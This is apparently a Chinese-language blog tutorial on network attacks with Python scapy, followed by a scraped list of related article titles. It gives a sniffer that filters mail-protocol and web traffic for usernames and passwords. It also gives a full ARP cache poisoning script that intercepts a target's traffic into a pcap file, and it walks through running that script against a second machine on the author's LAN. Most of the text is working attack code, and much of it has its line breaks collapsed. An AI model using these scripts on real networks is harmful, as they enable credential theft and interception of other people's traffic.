1.窃取Email认证
1.1创建一个简单的嗅探器,捕获一个数据包,packet.show()函数解析了其中的协议信息并输出了包的内容。

from scapy.all import *
def packet_callbacke(packet):print packet.show()sniff(prn=packet_callbacke,count=1)

得到

python mail.py
WARNING: No route found for IPv6 destination :: (no default route?)
###[ Ethernet ]###dst       = c4:ca:d9:a8:cf:58src       = 60:eb:69:15:76:5ftype      = 0x800
###[ IP ]###version   = 4Lihl       = 5Ltos       = 0x0len       = 52id        = 6428flags     = DFfrag      = 0Lttl       = 64proto     = tcpchksum    = 0xbacfsrc       = 10.21.21.120dst       = 115.239.211.92\options   \
###[ TCP ]###sport     = 33038dport     = httpseq       = 2801454030ack       = 0dataofs   = 8Lreserved  = 0Lflags     = Swindow    = 8192chksum    = 0xf415urgptr    = 0options   = [('MSS', 1460), ('NOP', None), ('WScale', 2), ('NOP', None), ('NOP', None), ('SAckOK', '')]
None

1.2设置过滤器

from scapy.all import *# 数据包回调函数
def packet_callback(packet):if packet[TCP].payload:mail_packet = str(packet[TCP].payload)if "user" in mail_packet.lower() or "pass" in mail_packet.lower():print "[*] Server: %s" % packet[IP].dstprint "[*] %s" % packet[TCP].payload# 开启嗅探器
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)
这里写图片描述

前两次没有接收到数据:没有开启邮件客户端,而是用的web客户端传输邮件,第三次修改了代码的接收端口,加入一个80 port,此时可以接收到web端的数据。

2.ARP 缓存投毒

#-*- coding:utf8 -*-from scapy.all import *
import os
import sys
import threading
import signalinterface   = "eth0"    #要嗅探的网卡 (linux下arp -a可查看)
target_ip   = "10.21.21.120"      #目标ip,这里测试的是另外一台win主机
gateway_ip  = "10.21.21.1"        #网关ip,这里是目标的网关
packet_count = 1000def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):# 以下代码调用send函数的方式稍有不同print "[*] Restoring target..."send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)# 发出退出信号到主线程os.kill(os.getpid(), signal.SIGINT)def get_mac(ip_address):# srp函数(发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac)responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)# 返回从响应数据中获取的MAC地址for s,r in responses:return r[Ether].srcreturn Nonedef poison_target(gateway_ip, gateway_mac, target_ip, target_mac):poison_target = ARP()poison_target.op = 2                # 01代表请求包,02代表应答包poison_target.psrc = gateway_ip     # 模拟网关发出poison_target.pdst = target_ip      # 目的地是目标机器poison_target.hwdst = target_mac    # 目标的物理地址是目标机器的macpoison_gateway = ARP()poison_gateway.op = 2               # 响应报文poison_gateway.psrc = target_ip     # 模拟目标机器发出poison_gateway.pdst = gateway_ip    # 目的地是网关poison_gateway.hwdst = gateway_mac  # 目标的物理地址是网关的macprint "[*] Beginning the ARP poison. [CTRL_C to stop]"while True:try:# 开始发送ARP欺骗包(投毒)send(poison_target)send(poison_gateway)# 停两秒time.sleep(2)except KeyboardInterrupt:restore_target(gateway_ip, gateway_mac, target_ip, target_mac)print "[*] ARP poison attack finished"return# 设置嗅探的网卡
conf.iface = interface# 关闭输出
conf.verb = 0print "[*] Setting up %s" % interface# 获取网关mac
gateway_mac = get_mac(gateway_ip)if gateway_mac is None:print "[!!!] Failed to get gateway MAC. Exiting"sys.exit(0)
else:print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)# 获取目标(被攻击的机器)mac
target_mac = get_mac(target_ip)if target_mac is None:print "[!!!] Failed to get target MAC. Exiting"sys.exit(0)
else:print "[*] Target %s is at %s" % (target_ip, target_mac)# 启动ARP投毒线程
poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()try:print "[*] Starting sniffer for %d packets" % packet_countbpf_filter = "ip host %s " % target_ip  # 过滤器packets = sniff(count = packet_count, filter=bpf_filter, iface = interface)# 将捕获到的数据包输出到文件wrpcap("arper.pcap", packets)# 还原网络配置restore_target(gateway_ip, gateway_mac, target_ip, target_mac)except KeyboardInterrupt:# 还原网络配置restore_target(gateway_ip, gateway_mac, target_ip, target_mac)sys.exit(0)

主要函数poison_target()中的两部分

poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst = target_mac   mac

对目标机器而言

攻击机的mac是网关,就是攻击者的机器是网关
模拟是网关发出的, 其实是我们的机器发出的

poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst = gateway_mac  
这里写图片描述

(1) 先用scanner.py扫描一下存活的主机

这里写图片描述

(2) 目标机器上arp -a查看 对应mac

这里写图片描述

(3) 攻击方 arp -a

这里写图片描述

(4) 查看是否能ping通,目标机器存在有线和无线ip时无法ping通,关掉无线,使得攻击方和目标方同在一个子网内,ip不冲突即可ping 通

这里写图片描述

这里写图片描述

(5) 开始攻击

这里写图片描述

(6) 攻击后查看对比目标机器的mac

这里写图片描述

看到目标机器的mac地址被改成了攻击方的mac
(目标机器不能上网了……忘记开启流量转发…….)

这里写图片描述

(7) 打开默认路径下arper.pcap就能看到目标机器通信的信息
(8)再打开arp -a就是

汇总了………

Python scapy网络包嗅探模块(转载)相关推荐

  1. python scapy模块安装_Python scapy网络包嗅探模块(转载)

    1.窃取Email认证 1.1创建一个简单的嗅探器,捕获一个数据包,packet.show()函数解析了其中的协议信息并输出了包的内容. from scapy.all import * def pac ...

  2. 对于python来说、一个模块就是一个文件-PYTHON中的包和模块

    为了更加友好的对python代码进行组织管理,python中出现了包和模块的概念 类似生活中整理我们的物品一样,将代码按照不同的功能进行整理整合,可以很大程度的提升代码可读性和代码质量,方便在项目中进 ...

  3. [源码]python Scapy Ftp密码嗅探

    [源码]python Scapy Ftp密码嗅探 原理很简单,FTP密码明文传输的 截取tcp 21端口User和Pass数据即可 Scapy框架编译程序较大(一个空程序都25M),所以就不提供exe ...

  4. Windows下python使用twine包发布模块

    本文讲解如何在Windows下,python使用twine包发布模块. 分享是美德 大Python有个模块发布功能,模板其实就是一个或多个函数打包的集合,当你写完一个函数,保存为.py文件后,可以进行 ...

  5. python 抓包 scapy udp,python+scapy 抓包與解析

    最近一直在使用做流量分析,今天把 scapy 部分做一個總結. python 的 scapy 庫可以方便的抓包與解析包,無奈資料很少,官方例子有限,大神博客很少提及, 經過一番嘗試后,總結以下幾點用法 ...

  6. python scapy网络嗅探

    1. 介绍 scapy是一个可用于网络嗅探的非常强大的第三方库.在网络嗅探方面前面的博文介绍过通过Raw Socket进行网络嗅探,但是Raw Socket比较底层,使用起来可能不太容易而且在不同的系 ...

  7. Python scapy抓包程序

    尝试使用Python scapy 包中 sniff 函数写个简单的抓包程序,sniff 抓取数据包并写入本地文件 1. 安装scapy,windows7 系统需要先安装 npcap,pip 之后 ,简 ...

  8. python库、包及模块的关系

    一直认为import库时,如果导入高层名称,那么其子功能一定能够使用,通过一个例子来说明我想表达的意思: 问题描述:中文分词,提出中文标点符号. 解题思路:确定有哪些中文标点符号,再提出? 有哪些标点 ...

  9. python scapy 抓包_Python3下基于Scapy库完成网卡抓包解析

    Scapy是一个可以让用户发送.侦听和解析并伪装网络报文的Python程序.这些功能可以用于制作侦测.扫描和攻击网络的工具. 在 Python 代码中可以通过 sniff 函数调用抓包分析,并对抓到的 ...

  10. python 进行抓包嗅探

    一.绪论 最近一直想弄一个代理,并且对数据包进行解读,从而完成来往流量的嗅探.于是今天学习了一下如何使用Python抓包并进行解包. 首先要用到两个模块 dpkt(我这边ubuntu16.04 LTS ...

最新文章

  1. 移动应用AI化成新战场?详解苹果最新Core ML模型构建基于机器学习的智能应用...
  2. 使用RNNs进行机器翻译——介绍RNN和LSTM网络及其应用
  3. 雅马哈机器人左手右手系统_消防管件组装成机器人 PM值临界时会报警并自动喷淋...
  4. form表单中,file选择图片后预览
  5. 前端学习(2243)硅谷外卖项目展示
  6. java日期处理简单封装
  7. 三星530换固态硬盘_小米笔记本Air13.3加装固态硬盘(三星860EVO)
  8. 2021最新H3CSE认证备考练习题,错过等明年!
  9. linux命令行里输入nyancat,好玩的Linux命令行,与彩虹猫Nyan Cat一起休息下
  10. 2017年CSTQB/ISTQB认证考试时间表
  11. 如何快速设计《数字电路》的JK触发器、T触发器描述的驱动方程对应的次态K图——异或卡诺图法
  12. 第 45 届国际大学生程序设计竞赛(ICPC)亚洲区域赛(上海)G Fibonacci
  13. 20220408-CH9121串口转以太网模块学习
  14. 春节不断电之机器学习 —— 决策树
  15. 解决Linux(ubuntu),windows双系统重装后恢复开机选单
  16. 将两条类似的sql合并
  17. vivado配置EMIO(使用vivado配置XDC文件)
  18. [bzoj3238]差异
  19. c语言 数字翻译成英文,100数字翻译成英语?
  20. 微信签到抽奖程序java源码_某宝买的微信抽奖签到墙源码,年会,学习源码--已经配置完成了,源码没问题,可直接用...

热门文章

  1. Atititi 软件界面gui开发之道 attilax著
  2. Atitit 项目管理(5)----------后勤管理与工具链支持管理
  3. Atitit. Atiposter 发帖机版本历史 编年史
  4. paip.提升性能--- mysql 建立索引 删除索引 很慢的解决.
  5. paip.软件版本完善计划VC423
  6. apache设置域名绑定 以及绑定不起作用的排查.
  7. 独家专访 | “共同基金之父”纽伯格的公司(NeubergerBerman)要在中国做什么?
  8. 为什么钉钉里的图片打开得更快了? | 凌云时刻
  9. CIO:权大、钱多、但难干 | 凌云时刻
  10. 数据湖生态联盟正式成立